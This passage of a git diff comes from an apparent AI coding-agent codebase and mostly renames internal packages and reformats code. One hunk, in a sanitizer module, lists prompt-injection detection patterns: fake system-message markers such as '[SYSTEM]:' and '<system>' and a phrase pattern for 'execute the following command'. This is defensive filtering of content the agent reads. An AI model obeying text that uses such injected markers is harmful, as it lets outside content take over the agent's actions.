description: "SF executes autonomously — user steps back, no permission prompts", + description: + "SF executes autonomously — user steps back, no permission prompts", workMode: "build", runControl: "autonomous", modelMode: "smart", @@ -118,9 +119,7 @@ export const SF_MODE_PRESETS = Object.freeze({ }, }); -export const SF_MODE_PRESET_NAMES = Object.freeze( - Object.keys(SF_MODE_PRESETS), -); +export const SF_MODE_PRESET_NAMES = Object.freeze(Object.keys(SF_MODE_PRESETS)); /** * Return the preset definition for a given name, or null if not a preset. diff --git a/src/resources/extensions/sf/parallel-monitor-overlay.js b/src/resources/extensions/sf/parallel-monitor-overlay.js index 56bdfa54e..dedd6dfbb 100644 --- a/src/resources/extensions/sf/parallel-monitor-overlay.js +++ b/src/resources/extensions/sf/parallel-monitor-overlay.js @@ -5,7 +5,7 @@ * Opened via `/parallel watch`, Ctrl+Alt+P (⌃⌥P on macOS), * or Ctrl+Shift+P fallback. * Reads the same data sources as `scripts/parallel-monitor.mjs` but - * renders as a native pi-tui overlay with theme integration. + * renders as a native tui overlay with theme integration. */ import { closeSync, @@ -17,7 +17,7 @@ import { statSync, } from "node:fs"; import { join } from "node:path"; -import { Key, matchesKey } from "@singularity-forge/pi-tui"; +import { Key, matchesKey } from "@singularity-forge/tui"; import { formatDuration } from "../shared/mod.js"; import { queryParallelRecentCompletionRows, diff --git a/src/resources/extensions/sf/preferences-models.js b/src/resources/extensions/sf/preferences-models.js index 9d58ed116..6d02cdb4e 100644 --- a/src/resources/extensions/sf/preferences-models.js +++ b/src/resources/extensions/sf/preferences-models.js @@ -8,7 +8,7 @@ import { existsSync, readFileSync, writeFileSync } from "node:fs"; import { homedir } from "node:os"; import { join } from "node:path"; -import { getModels, getProviders } from "@singularity-forge/pi-ai"; +import { getModels, getProviders } from "@singularity-forge/ai"; import { DEFAULT_RUNAWAY_CHANGED_FILES_WARNING, DEFAULT_RUNAWAY_DIAGNOSTIC_TURNS, @@ -37,6 +37,7 @@ function loadEffectiveSFPreferences() { function getGlobalSFPreferencesPath() { return _getGlobalSFPreferencesPath(); } + import { getConfiguredEnvApiKey } from "./provider-env-auth.js"; const OPENCODE_FREE_MODEL_IDS = new Set([ diff --git a/src/resources/extensions/sf/preferences.js b/src/resources/extensions/sf/preferences.js index 1128987ae..155d719e8 100644 --- a/src/resources/extensions/sf/preferences.js +++ b/src/resources/extensions/sf/preferences.js @@ -15,7 +15,10 @@ import { dirname, join, resolve } from "node:path"; import { parse as parseYaml } from "yaml"; import { normalizeStringArray } from "../shared/format-utils.js"; import { sfRoot } from "./paths.js"; -import { resolveProfileDefaults as _resolveProfileDefaults, _initPrefsLoader } from "./preferences-models.js"; +import { + _initPrefsLoader, + resolveProfileDefaults as _resolveProfileDefaults, +} from "./preferences-models.js"; import { upgradePreferencesFileIfDrifted } from "./preferences-template-upgrade.js"; import { formatSkillRef, diff --git a/src/resources/extensions/sf/provider-env-auth.js b/src/resources/extensions/sf/provider-env-auth.js index 84dcfa752..a933eca94 100644 --- a/src/resources/extensions/sf/provider-env-auth.js +++ b/src/resources/extensions/sf/provider-env-auth.js @@ -1,10 +1,10 @@ import { existsSync, readFileSync } from "node:fs"; import { join } from "node:path"; -import { getEnvApiKey } from "@singularity-forge/pi-ai"; +import { getEnvApiKey } from "@singularity-forge/ai"; import { getAgentDir, SettingsManager, -} from "@singularity-forge/pi-coding-agent"; +} from "@singularity-forge/coding-agent"; const GOOGLE_ENV_AUTH_DEFAULT_OFF_PROVIDERS = new Set([ "google", diff --git a/src/resources/extensions/sf/queue-reorder-ui.js b/src/resources/extensions/sf/queue-reorder-ui.js index 625a95e45..d10a34cdf 100644 --- a/src/resources/extensions/sf/queue-reorder-ui.js +++ b/src/resources/extensions/sf/queue-reorder-ui.js @@ -7,7 +7,7 @@ * Enter confirms all changes. Esc cancels. * Conflicting depends_on entries are auto-removed on confirm. */ -import { Key, matchesKey, truncateToWidth } from "@singularity-forge/pi-tui"; +import { Key, matchesKey, truncateToWidth } from "@singularity-forge/tui"; import { GLYPH } from "../shared/mod.js"; import { makeUI } from "../shared/tui.js"; import { validateQueueOrder } from "./queue-order.js"; diff --git a/src/resources/extensions/sf/safety/sanitize-external-content.js b/src/resources/extensions/sf/safety/sanitize-external-content.js index 10c3fa523..bc42fc501 100644 --- a/src/resources/extensions/sf/safety/sanitize-external-content.js +++ b/src/resources/extensions/sf/safety/sanitize-external-content.js @@ -76,9 +76,21 @@ const INJECTION_PATTERNS = [ severity: "high", }, // Fake system message markers - { pattern: /\[SYSTEM\]\s*:/i, category: "fake_system_message", severity: "high" }, - { pattern: /\[INST\]\s*:/i, category: "fake_system_message", severity: "medium" }, - { pattern: /<\/?system>/i, category: "fake_system_message", severity: "high" }, + { + pattern: /\[SYSTEM\]\s*:/i, + category: "fake_system_message", + severity: "high", + }, + { + pattern: /\[INST\]\s*:/i, + category: "fake_system_message", + severity: "medium", + }, + { + pattern: /<\/?system>/i, + category: "fake_system_message", + severity: "high", + }, // Command injection { pattern: /execute\s+(?:the\s+following\s+)?(?:command|code|script)/i, diff --git a/src/resources/extensions/sf/service-tier.js b/src/resources/extensions/sf/service-tier.js index bf0925f6c..9caae9f7f 100644 --- a/src/resources/extensions/sf/service-tier.js +++ b/src/resources/extensions/sf/service-tier.js @@ -27,7 +27,7 @@ const SERVICE_TIER_SCOPE_NOTE = * * This list is the fallback for callers that only have a model ID string. * The authoritative source of truth is `model.capabilities.supportsServiceTier` - * (set via CAPABILITY_PATCHES in packages/pi-ai/src/models.ts). When callers + * (set via CAPABILITY_PATCHES in packages/ai/src/models.ts). When callers * have access to the full Model object, prefer reading capabilities directly. * * GPT-5.5 is intentionally excluded until we verify its provider payload diff --git a/src/resources/extensions/sf/sf-db.js b/src/resources/extensions/sf/sf-db.js index 37d80ddf0..349071a64 100644 --- a/src/resources/extensions/sf/sf-db.js +++ b/src/resources/extensions/sf/sf-db.js @@ -3367,7 +3367,10 @@ export function checkpointWal() { try { currentDb.exec("PRAGMA wal_checkpoint(PASSIVE)"); } catch (e) { - logWarning("db", `WAL checkpoint failed: ${e instanceof Error ? e.message : String(e)}`); + logWarning( + "db", + `WAL checkpoint failed: ${e instanceof Error ? e.message : String(e)}`, + ); } } @@ -4594,9 +4597,7 @@ export function backfillUatVerdicts(basePath) { if (!currentDb) return; // Find all slices that have no verdict yet const rows = currentDb - .prepare( - `SELECT milestone_id, id FROM slices WHERE uat_verdict IS NULL`, - ) + .prepare(`SELECT milestone_id, id FROM slices WHERE uat_verdict IS NULL`) .all(); if (!rows.length) return; // Extract verdict from content — inline to avoid cross-module import at db layer @@ -4611,7 +4612,9 @@ export function backfillUatVerdicts(basePath) { } return null; } - const bodyMatch = content.match(/\*\*Verdict:?\*\*\s*(?:✅\s*)?(\w[\w-]*)/i); + const bodyMatch = content.match( + /\*\*Verdict:?\*\*\s*(?:✅\s*)?(\w[\w-]*)/i, + ); if (bodyMatch) { let v = bodyMatch[1].toLowerCase(); if (v === "passed") v = "pass"; @@ -7958,8 +7961,12 @@ export function decayMemoriesBefore(cutoffTs, now) { export function expireStaleMemories(unstartedTtlDays = 28, maxTtlDays = 90) { if (!currentDb) return 0; const now = new Date().toISOString(); - const cutoffUnstarted = new Date(Date.now() - unstartedTtlDays * 86_400_000).toISOString(); - const cutoffMax = new Date(Date.now() - maxTtlDays * 86_400_000).toISOString(); + const cutoffUnstarted = new Date( + Date.now() - unstartedTtlDays * 86_400_000, + ).toISOString(); + const cutoffMax = new Date( + Date.now() - maxTtlDays * 86_400_000, + ).toISOString(); const result = currentDb .prepare(`UPDATE memories SET superseded_by = 'ttl-expired', updated_at = :now WHERE superseded_by IS NULL @@ -7967,7 +7974,11 @@ export function expireStaleMemories(unstartedTtlDays = 28, maxTtlDays = 90) { (hit_count = 0 AND updated_at < :cutoff_unstarted) OR updated_at < :cutoff_max )`) - .run({ ":now": now, ":cutoff_unstarted": cutoffUnstarted, ":cutoff_max": cutoffMax }); + .run({ + ":now": now, + ":cutoff_unstarted": cutoffUnstarted, + ":cutoff_max": cutoffMax, + }); return result.changes ?? 0; } export function supersedeLowestRankedMemories(limit, now) { diff --git a/src/resources/extensions/sf/skills/directory.js b/src/resources/extensions/sf/skills/directory.js index 502c31a9b..959fa7cfb 100644 --- a/src/resources/extensions/sf/skills/directory.js +++ b/src/resources/extensions/sf/skills/directory.js @@ -11,9 +11,13 @@ import { dirname, join } from "node:path"; import { fileURLToPath } from "node:url"; const SKILL_FILENAME = "SKILL.md"; + export { SKILL_FILENAME }; + const USER_SKILL_DIR = join(process.env.HOME ?? "", ".sf", "skills"); + export { USER_SKILL_DIR }; + const BUNDLED_SKILL_DIR = join( dirname(fileURLToPath(import.meta.url)), "..", @@ -21,7 +25,9 @@ const BUNDLED_SKILL_DIR = join( "..", "skills", ); + export { BUNDLED_SKILL_DIR }; + const WORKFLOW_SKILL_DIR = join( dirname(fileURLToPath(import.meta.url)), "..", @@ -29,6 +35,7 @@ const WORKFLOW_SKILL_DIR = join( "..", "workflow-skills", ); + export { WORKFLOW_SKILL_DIR }; /** diff --git a/src/resources/extensions/sf/spec-projections.js b/src/resources/extensions/sf/spec-projections.js index 7ebf0c327..bff2d28b4 100644 --- a/src/resources/extensions/sf/spec-projections.js +++ b/src/resources/extensions/sf/spec-projections.js @@ -214,7 +214,7 @@ export function generateOperatingModelSpec(basePath) { "- `src/headless*.ts` owns the existing `sf headless` machine-surface command path. Keep the command name; describe it as the machine surface in product language.", "- `web/` owns the browser surface.", "- `vscode-extension/` owns the editor surface.", - "- `packages/pi-tui/` owns reusable TUI primitives and terminal UI components.", + "- `packages/tui/` owns reusable TUI primitives and terminal UI components.", "", "### Protocols And Adapters", "", @@ -224,9 +224,9 @@ export function generateOperatingModelSpec(basePath) { "", "### Workspace Packages", "", - "- `packages/pi-agent-core/` owns reusable agent-core primitives.", - "- `packages/pi-ai/` owns provider/model integration.", - "- `packages/pi-coding-agent/` owns reusable coding-agent substrate inherited from Pi.", + "- `packages/agent-core/` owns reusable agent-core primitives.", + "- `packages/ai/` owns provider/model integration.", + "- `packages/coding-agent/` owns reusable coding-agent substrate inherited from Pi.", "- `packages/daemon/` owns daemonized background service code.", "- `packages/native/` and `rust-engine/` own native/Rust performance paths.", "", diff --git a/src/resources/extensions/sf/state.js b/src/resources/extensions/sf/state.js index 572f0357d..f809f2772 100644 --- a/src/resources/extensions/sf/state.js +++ b/src/resources/extensions/sf/state.js @@ -287,7 +287,10 @@ export async function deriveState(basePath) { "DB unavailable for a project with legacy SF artifacts — refusing runtime markdown fallback; run sf recover or sf migrate", ); result = buildDbRecoveryRequiredState(); - stopTimer({ phase: result.phase, milestone: result.activeMilestone?.id }); + stopTimer({ + phase: result.phase, + milestone: result.activeMilestone?.id, + }); debugCount("deriveStateCalls"); _stateCache = { basePath, result, timestamp: Date.now() }; return result; diff --git a/src/resources/extensions/sf/tests/autonomous-solver.test.mjs b/src/resources/extensions/sf/tests/autonomous-solver.test.mjs index 6f2a628d0..96448023b 100644 --- a/src/resources/extensions/sf/tests/autonomous-solver.test.mjs +++ b/src/resources/extensions/sf/tests/autonomous-solver.test.mjs @@ -459,18 +459,26 @@ describe("autonomous solver", () => { beginAutonomousSolverIteration(project, "execute-task", "T01"); // First iter — no progress appendAutonomousSolverCheckpoint(project, { - unitType: "execute-task", unitId: "T01", - outcome: "continue", summary: "Reading.", - completedItems: [], remainingItems: ["implement"], - verificationEvidence: [], pdd: pdd(), + unitType: "execute-task", + unitId: "T01", + outcome: "continue", + summary: "Reading.", + completedItems: [], + remainingItems: ["implement"], + verificationEvidence: [], + pdd: pdd(), }); // Second iter — progress beginAutonomousSolverIteration(project, "execute-task", "T01"); appendAutonomousSolverCheckpoint(project, { - unitType: "execute-task", unitId: "T01", - outcome: "continue", summary: "Done reading, wrote file.", - completedItems: ["wrote src/foo.ts"], remainingItems: [], - verificationEvidence: ["npm test"], pdd: pdd(), + unitType: "execute-task", + unitId: "T01", + outcome: "continue", + summary: "Done reading, wrote file.", + completedItems: ["wrote src/foo.ts"], + remainingItems: [], + verificationEvidence: ["npm test"], + pdd: pdd(), }); const state = readAutonomousSolverState(project); expect(state.iterationsSinceProgress).toBe(0); @@ -509,10 +517,14 @@ describe("autonomous solver", () => { for (let i = 1; i <= 7; i++) { beginAutonomousSolverIteration(project, "execute-task", "T01"); appendAutonomousSolverCheckpoint(project, { - unitType: "execute-task", unitId: "T01", - outcome: "continue", summary: `Iteration ${i} summary.`, - completedItems: [`step-${i}`], remainingItems: [], - verificationEvidence: [], pdd: pdd(), + unitType: "execute-task", + unitId: "T01", + outcome: "continue", + summary: `Iteration ${i} summary.`, + completedItems: [`step-${i}`], + remainingItems: [], + verificationEvidence: [], + pdd: pdd(), }); } const state = readAutonomousSolverState(project); @@ -527,7 +539,10 @@ describe("autonomous solver", () => { { iteration: 1 }, "execute-task", "M001/S01/T01", - { classification: "file-substituted-for-checkpoint", summary: "wrote file" }, + { + classification: "file-substituted-for-checkpoint", + summary: "wrote file", + }, 1, 4, ); diff --git a/src/resources/extensions/sf/tests/db-driven-runtime-state.test.mjs b/src/resources/extensions/sf/tests/db-driven-runtime-state.test.mjs index c8e9c12b4..7adf452e3 100644 --- a/src/resources/extensions/sf/tests/db-driven-runtime-state.test.mjs +++ b/src/resources/extensions/sf/tests/db-driven-runtime-state.test.mjs @@ -13,10 +13,10 @@ import { closeDatabase, getAllMilestones, getSliceTasks, - isDbAvailable, insertMilestone, insertSlice, insertTask, + isDbAvailable, openDatabase, } from "../sf-db.js"; import { deriveState, invalidateStateCache } from "../state.js"; diff --git a/src/resources/extensions/sf/tests/dist-redirect.mjs b/src/resources/extensions/sf/tests/dist-redirect.mjs index b99402457..cee788358 100644 --- a/src/resources/extensions/sf/tests/dist-redirect.mjs +++ b/src/resources/extensions/sf/tests/dist-redirect.mjs @@ -9,22 +9,22 @@ const ROOT = new URL("../../../../../", import.meta.url); export function resolve(specifier, context, nextResolve) { // 1. Redirect all workspace package bare imports to source. // CI portability runs don't build any packages/ dist artifacts, so every - // @singularity-forge/* specifier (including transitive ones pulled in by pi-coding-agent + // @singularity-forge/* specifier (including transitive ones pulled in by coding-agent // source itself) must resolve to the TypeScript source entrypoint. - if (specifier === "../../packages/pi-coding-agent/src/index.js") { - specifier = new URL("packages/pi-coding-agent/src/index.ts", ROOT).href; + if (specifier === "../../packages/coding-agent/src/index.js") { + specifier = new URL("packages/coding-agent/src/index.ts", ROOT).href; } else if (specifier === "vitest") { specifier = "node:test"; - } else if (specifier === "@singularity-forge/pi-coding-agent") { - specifier = new URL("packages/pi-coding-agent/src/index.ts", ROOT).href; - } else if (specifier === "@singularity-forge/pi-ai/oauth") { - specifier = new URL("packages/pi-ai/src/utils/oauth/index.ts", ROOT).href; - } else if (specifier === "@singularity-forge/pi-ai") { - specifier = new URL("packages/pi-ai/src/index.ts", ROOT).href; - } else if (specifier === "@singularity-forge/pi-agent-core") { - specifier = new URL("packages/pi-agent-core/src/index.ts", ROOT).href; - } else if (specifier === "@singularity-forge/pi-tui") { - specifier = new URL("packages/pi-tui/src/index.ts", ROOT).href; + } else if (specifier === "@singularity-forge/coding-agent") { + specifier = new URL("packages/coding-agent/src/index.ts", ROOT).href; + } else if (specifier === "@singularity-forge/ai/oauth") { + specifier = new URL("packages/ai/src/utils/oauth/index.ts", ROOT).href; + } else if (specifier === "@singularity-forge/ai") { + specifier = new URL("packages/ai/src/index.ts", ROOT).href; + } else if (specifier === "@singularity-forge/agent-core") { + specifier = new URL("packages/agent-core/src/index.ts", ROOT).href; + } else if (specifier === "@singularity-forge/tui") { + specifier = new URL("packages/tui/src/index.ts", ROOT).href; } else if (specifier === "@singularity-forge/native") { specifier = new URL("packages/native/src/index.ts", ROOT).href; } else if (specifier.startsWith("@singularity-forge/native/")) { diff --git a/src/resources/extensions/sf/tests/resolve-ts-hooks.mjs b/src/resources/extensions/sf/tests/resolve-ts-hooks.mjs index db6124381..df06eb37d 100644 --- a/src/resources/extensions/sf/tests/resolve-ts-hooks.mjs +++ b/src/resources/extensions/sf/tests/resolve-ts-hooks.mjs @@ -10,15 +10,15 @@ export function resolve(specifier, context, nextResolve) { .replace("@singularity-forge/", PACKAGES_ROOT) .replace("/dist/", "/src/"); if ( - tsSpecifier.includes("/packages/pi-ai") && + tsSpecifier.includes("/packages/ai") && !tsSpecifier.endsWith(".ts") ) { tsSpecifier = tsSpecifier.replace( - /\/packages\/pi-ai$/, - "/packages/pi-ai/src/index.ts", + /\/packages\/ai$/, + "/packages/ai/src/index.ts", ); } else if (!tsSpecifier.includes("/src/") && !tsSpecifier.endsWith(".ts")) { - // Fallback for other sf packages like pi-coding-agent, pi-tui, pi-agent-core + // Fallback for other sf packages like coding-agent, tui, agent-core tsSpecifier = tsSpecifier.replace( /\/packages\/([^/]+)$/, "/packages/$1/src/index.ts", diff --git a/src/resources/extensions/sf/tests/skills.test.mjs b/src/resources/extensions/sf/tests/skills.test.mjs index 1be926e76..2ead0cf9e 100644 --- a/src/resources/extensions/sf/tests/skills.test.mjs +++ b/src/resources/extensions/sf/tests/skills.test.mjs @@ -302,15 +302,26 @@ describe("skill loading", () => { }); test("buildSkillRecord_sets_locked_from_frontmatter", () => { - const locked = buildSkillRecord("/p", { name: "x", description: "y", locked: true }, ""); + const locked = buildSkillRecord( + "/p", + { name: "x", description: "y", locked: true }, + "", + ); expect(locked.locked).toBe(true); - const unlocked = buildSkillRecord("/p", { name: "x", description: "y" }, ""); + const unlocked = buildSkillRecord( + "/p", + { name: "x", description: "y" }, + "", + ); expect(unlocked.locked).toBe(false); }); test("loadSkills_sets_locked_true_for_workflow_source", () => { // Workflow skills are always locked regardless of frontmatter - const skills = loadSkills(tmpDir, { includeWorkflow: true, includeBundled: false }); + const skills = loadSkills(tmpDir, { + includeWorkflow: true, + includeBundled: false, + }); const workflowSkills = skills.filter((s) => s.source === "workflow"); expect(workflowSkills.length).toBeGreaterThan(0); expect(workflowSkills.every((s) => s.locked === true)).toBe(true); diff --git a/src/resources/extensions/sf/tools/complete-slice.js b/src/resources/extensions/sf/tools/complete-slice.js index e997012d5..e9c29ee44 100644 --- a/src/resources/extensions/sf/tools/complete-slice.js +++ b/src/resources/extensions/sf/tools/complete-slice.js @@ -655,14 +655,14 @@ export async function handleCompleteSlice(paramsInput, basePath) { // eslint-disable-next-line @typescript-eslint/no-floating-promises (async () => { try { - const graphMod = await import("@singularity-forge/pi-agent-core"); + const graphMod = await import("@singularity-forge/agent-core"); if ( typeof graphMod.buildGraph !== "function" || typeof graphMod.writeGraph !== "function" || typeof graphMod.resolveSFRoot !== "function" ) { throw new Error( - "graph helpers unavailable from @singularity-forge/pi-agent-core", + "graph helpers unavailable from @singularity-forge/agent-core", ); } const g = await graphMod.buildGraph(basePath); diff --git a/src/resources/extensions/sf/tools/exec-search-tool.js b/src/resources/extensions/sf/tools/exec-search-tool.js index 5e90b09f7..ba76066a7 100644 --- a/src/resources/extensions/sf/tools/exec-search-tool.js +++ b/src/resources/extensions/sf/tools/exec-search-tool.js @@ -14,7 +14,10 @@ export function executeExecSearch(params, opts) { if (hits.length === 0) { return { content: [ - { type: "text", text: "No prior run_command runs match those filters." }, + { + type: "text", + text: "No prior run_command runs match those filters.", + }, ], details: { operation: "read_output", matches: 0 }, }; diff --git a/src/resources/extensions/sf/tools/exec-tool.js b/src/resources/extensions/sf/tools/exec-tool.js index 93da4bdec..9115ded0d 100644 --- a/src/resources/extensions/sf/tools/exec-tool.js +++ b/src/resources/extensions/sf/tools/exec-tool.js @@ -62,7 +62,11 @@ function disabledResult() { function paramError(message) { return { content: [{ type: "text", text: `Error: ${message}` }], - details: { operation: "run_command", error: "invalid_params", detail: message }, + details: { + operation: "run_command", + error: "invalid_params", + detail: message, + }, isError: true, }; } @@ -109,7 +113,9 @@ export async function executeSfExec(params, deps) { } catch (err) { const message = err instanceof Error ? err.message : String(err); return { - content: [{ type: "text", text: `Error: run_command failed — ${message}` }], + content: [ + { type: "text", text: `Error: run_command failed — ${message}` }, + ], details: { operation: "run_command", error: message }, isError: true, }; @@ -125,7 +131,10 @@ function formatResult(result) { ? `\n[stdout truncated — read full output: ${result.stdout_path}]` : ""; const rawDigest = `${result.digest}${truncationNote}`; - const { text: safeDigest } = sanitizeExternalContent(rawDigest, `run_command[${result.id}]`); + const { text: safeDigest } = sanitizeExternalContent( + rawDigest, + `run_command[${result.id}]`, + ); const summary = `${headerLines.join("\n")}\n--- digest ---\n${safeDigest}`.trimEnd(); return { diff --git a/src/resources/extensions/sf/tools/workflow-tool-executors.js b/src/resources/extensions/sf/tools/workflow-tool-executors.js index 706475abf..a6d10f51b 100644 --- a/src/resources/extensions/sf/tools/workflow-tool-executors.js +++ b/src/resources/extensions/sf/tools/workflow-tool-executors.js @@ -16,8 +16,8 @@ import { setSliceUatVerdict, } from "../sf-db.js"; import { invalidateStateCache } from "../state.js"; -import { logError, logWarning } from "../workflow-logger.js"; import { extractVerdict } from "../verdict-parser.js"; +import { logError, logWarning } from "../workflow-logger.js"; import { handleCompleteMilestone } from "./complete-milestone.js"; import { handleCompleteSlice } from "./complete-slice.js"; import { handleCompleteTask } from "./complete-task.js"; diff --git a/src/resources/extensions/sf/vault-credential-resolver.js b/src/resources/extensions/sf/vault-credential-resolver.js index f6cd9e394..df50f76e9 100644 --- a/src/resources/extensions/sf/vault-credential-resolver.js +++ b/src/resources/extensions/sf/vault-credential-resolver.js @@ -10,7 +10,7 @@ * Resolution Chain: * 1. Environment variable (may contain vault:// URI) * 2. HashiCorp Vault (if URI present and vault available) - * 3. auth.json (AuthStorage from pi-coding-agent) + * 3. auth.json (AuthStorage from coding-agent) * 4. Fallback: undefined (fail-open) * * Fail-Open Semantics: diff --git a/src/resources/extensions/sf/visualizer-overlay.js b/src/resources/extensions/sf/visualizer-overlay.js index abd0d9f1f..bce85307d 100644 --- a/src/resources/extensions/sf/visualizer-overlay.js +++ b/src/resources/extensions/sf/visualizer-overlay.js @@ -5,7 +5,7 @@ import { matchesKey, truncateToWidth, visibleWidth, -} from "@singularity-forge/pi-tui"; +} from "@singularity-forge/tui"; import { stripAnsi } from "../shared/mod.js"; import { writeExportFile } from "./export.js"; import { sfRoot } from "./paths.js"; diff --git a/src/resources/extensions/sf/visualizer-views.js b/src/resources/extensions/sf/visualizer-views.js index f8d2aa365..57fa04cb5 100644 --- a/src/resources/extensions/sf/visualizer-views.js +++ b/src/resources/extensions/sf/visualizer-views.js @@ -1,5 +1,5 @@ // View renderers for the SF workflow visualizer overlay. -import { truncateToWidth } from "@singularity-forge/pi-tui"; +import { truncateToWidth } from "@singularity-forge/tui"; import { formatDuration, joinColumns, diff --git a/src/resources/extensions/sf/watch/header-renderer.js b/src/resources/extensions/sf/watch/header-renderer.js index 365b6079e..d2c29355c 100644 --- a/src/resources/extensions/sf/watch/header-renderer.js +++ b/src/resources/extensions/sf/watch/header-renderer.js @@ -4,7 +4,7 @@ import { execFileSync } from "node:child_process"; import { existsSync, readFileSync } from "node:fs"; import { homedir } from "node:os"; import { join } from "node:path"; -import { truncateToWidth, visibleWidth } from "@singularity-forge/pi-tui"; +import { truncateToWidth, visibleWidth } from "@singularity-forge/tui"; import { loadEffectiveSFPreferences } from "../preferences.js"; // ─── Constants ──────────────────────────────────────────────────────────────── diff --git a/src/resources/extensions/sf/workflow-helpers.js b/src/resources/extensions/sf/workflow-helpers.js index ca0429f3f..656868c14 100644 --- a/src/resources/extensions/sf/workflow-helpers.js +++ b/src/resources/extensions/sf/workflow-helpers.js @@ -101,7 +101,9 @@ export async function checkNeedsRunUat(base, mid, _state, prefs) { if (!prefs?.uat_dispatch) return null; try { - const { getMilestoneSlices, getSliceUatVerdict } = await import("./sf-db.js"); + const { getMilestoneSlices, getSliceUatVerdict } = await import( + "./sf-db.js" + ); if (isDbAvailable()) { const slices = getMilestoneSlices(mid); if (slices.length > 0) { diff --git a/src/resources/extensions/sf/workflow-logger.js b/src/resources/extensions/sf/workflow-logger.js index 418bf14e0..9a73a9098 100644 --- a/src/resources/extensions/sf/workflow-logger.js +++ b/src/resources/extensions/sf/workflow-logger.js @@ -27,7 +27,6 @@ import { join } from "node:path"; import { withFileLockSync } from "./file-lock.js"; import { appendNotification } from "./notification-store.js"; - // ─── Buffer & Persistent Audit ────────────────────────────────────────── const MAX_BUFFER = 100; const AUDIT_LOG_SCHEMA_VERSION = 1; @@ -261,11 +260,19 @@ function _push(severity, component, message, context) { } } } -async function _tryEmitAuditEvent(basePath, severity, component, message, context) { +async function _tryEmitAuditEvent( + basePath, + severity, + component, + message, + context, +) { try { const { isAuditEnvelopeEnabled } = await import("./uok/audit-toggle.js"); if (!isAuditEnvelopeEnabled()) return; - const { buildAuditEnvelope, emitUokAuditEvent } = await import("./uok/audit.js"); + const { buildAuditEnvelope, emitUokAuditEvent } = await import( + "./uok/audit.js" + ); emitUokAuditEvent( basePath, buildAuditEnvelope({ diff --git a/src/resources/extensions/sf/worktree-command-bootstrap.js b/src/resources/extensions/sf/worktree-command-bootstrap.js index f23e4153f..2545ea05d 100644 --- a/src/resources/extensions/sf/worktree-command-bootstrap.js +++ b/src/resources/extensions/sf/worktree-command-bootstrap.js @@ -1,4 +1,4 @@ -import { importExtensionModule } from "@singularity-forge/pi-coding-agent"; +import { importExtensionModule } from "@singularity-forge/coding-agent"; const WORKTREE_SUBCOMMANDS = [ { cmd: "list", desc: "List existing worktrees" }, diff --git a/src/resources/extensions/sf/worktree.js b/src/resources/extensions/sf/worktree.js index 11a354c04..bc2fce3e3 100644 --- a/src/resources/extensions/sf/worktree.js +++ b/src/resources/extensions/sf/worktree.js @@ -16,10 +16,7 @@ import { homedir } from "node:os"; import { join, resolve } from "node:path"; import { GitServiceImpl, writeIntegrationBranch } from "./git-service.js"; import { loadEffectiveSFPreferences } from "./preferences.js"; -import { - detectWorktreeName, - findWorktreeSegment, -} from "./worktree-detect.js"; +import { detectWorktreeName, findWorktreeSegment } from "./worktree-detect.js"; export { MergeConflictError } from "./git-service.js"; // Re-export for consumers that import detectWorktreeName from ./worktree.js @@ -252,7 +249,13 @@ export function autoCommitCurrentBranch( taskContext, sessionId, ) { - return getService(basePath).autoCommit(unitType, unitId, [], taskContext, sessionId); + return getService(basePath).autoCommit( + unitType, + unitId, + [], + taskContext, + sessionId, + ); } // ─── Git HEAD Resolution ──────────────────────────────────────────────────── /** diff --git a/src/resources/extensions/shared/confirm-ui.js b/src/resources/extensions/shared/confirm-ui.js index 3db693b47..5189a678a 100644 --- a/src/resources/extensions/shared/confirm-ui.js +++ b/src/resources/extensions/shared/confirm-ui.js @@ -14,7 +14,7 @@ * }); * if (!confirmed) return textResult("Cancelled."); */ -import { Key, matchesKey, truncateToWidth } from "@singularity-forge/pi-tui"; +import { Key, matchesKey, truncateToWidth } from "@singularity-forge/tui"; import { GLYPH, makeUI } from "./ui.js"; /** * Show a themed yes/no confirmation dialog. diff --git a/src/resources/extensions/shared/format-utils.js b/src/resources/extensions/shared/format-utils.js index 8e2309304..4247d6fb9 100644 --- a/src/resources/extensions/shared/format-utils.js +++ b/src/resources/extensions/shared/format-utils.js @@ -1,8 +1,8 @@ /** - * Shared pure formatting utilities — no @singularity-forge/pi-tui dependency. + * Shared pure formatting utilities — no @singularity-forge/tui dependency. * * ANSI-aware layout helpers (padRight, joinColumns, centerLine, fitColumns) - * live in layout-utils.ts to avoid pulling @singularity-forge/pi-tui into modules that + * live in layout-utils.ts to avoid pulling @singularity-forge/tui into modules that * run outside jiti's alias resolution (e.g. HTML report generation via * dynamic import in auto-loop). */ diff --git a/src/resources/extensions/shared/interview-ui.js b/src/resources/extensions/shared/interview-ui.js index 329cac0cd..c107de19c 100644 --- a/src/resources/extensions/shared/interview-ui.js +++ b/src/resources/extensions/shared/interview-ui.js @@ -29,7 +29,7 @@ import { Key, matchesKey, truncateToWidth, -} from "@singularity-forge/pi-tui"; +} from "@singularity-forge/tui"; import { INDENT, makeUI } from "./ui.js"; // ─── Constants ──────────────────────────────────────────────────────────────── diff --git a/src/resources/extensions/shared/layout-utils.js b/src/resources/extensions/shared/layout-utils.js index 4cd146bfa..7b3fcc004 100644 --- a/src/resources/extensions/shared/layout-utils.js +++ b/src/resources/extensions/shared/layout-utils.js @@ -1,12 +1,12 @@ /** - * ANSI-aware TUI layout utilities that depend on @singularity-forge/pi-tui. + * ANSI-aware TUI layout utilities that depend on @singularity-forge/tui. * * Separated from format-utils.ts so that modules needing only pure * formatting (e.g. HTML report generation) can import format-utils - * without pulling in the @singularity-forge/pi-tui dependency — which fails when + * without pulling in the @singularity-forge/tui dependency — which fails when * loaded outside jiti's alias resolution context. */ -import { truncateToWidth, visibleWidth } from "@singularity-forge/pi-tui"; +import { truncateToWidth, visibleWidth } from "@singularity-forge/tui"; // ─── Layout Helpers ─────────────────────────────────────────────────────────── /** Pad a string with trailing spaces to fill `width` (ANSI-aware). */ export function padRight(content, width) { diff --git a/src/resources/extensions/shared/next-action-ui.js b/src/resources/extensions/shared/next-action-ui.js index 87b097768..735a2476d 100644 --- a/src/resources/extensions/shared/next-action-ui.js +++ b/src/resources/extensions/shared/next-action-ui.js @@ -40,7 +40,7 @@ * "Not yet" is always appended automatically as the last option. * Pressing Escape also resolves as "not_yet". */ -import { Key, matchesKey } from "@singularity-forge/pi-tui"; +import { Key, matchesKey } from "@singularity-forge/tui"; import { makeUI } from "./ui.js"; /** * Show the next-action prompt and return the chosen action id, or "not_yet". diff --git a/src/resources/extensions/shared/sanitize.js b/src/resources/extensions/shared/sanitize.js index dd936fe64..a3c2f9381 100644 --- a/src/resources/extensions/shared/sanitize.js +++ b/src/resources/extensions/shared/sanitize.js @@ -2,7 +2,7 @@ * Sanitize error messages by redacting token-like strings before surfacing. * 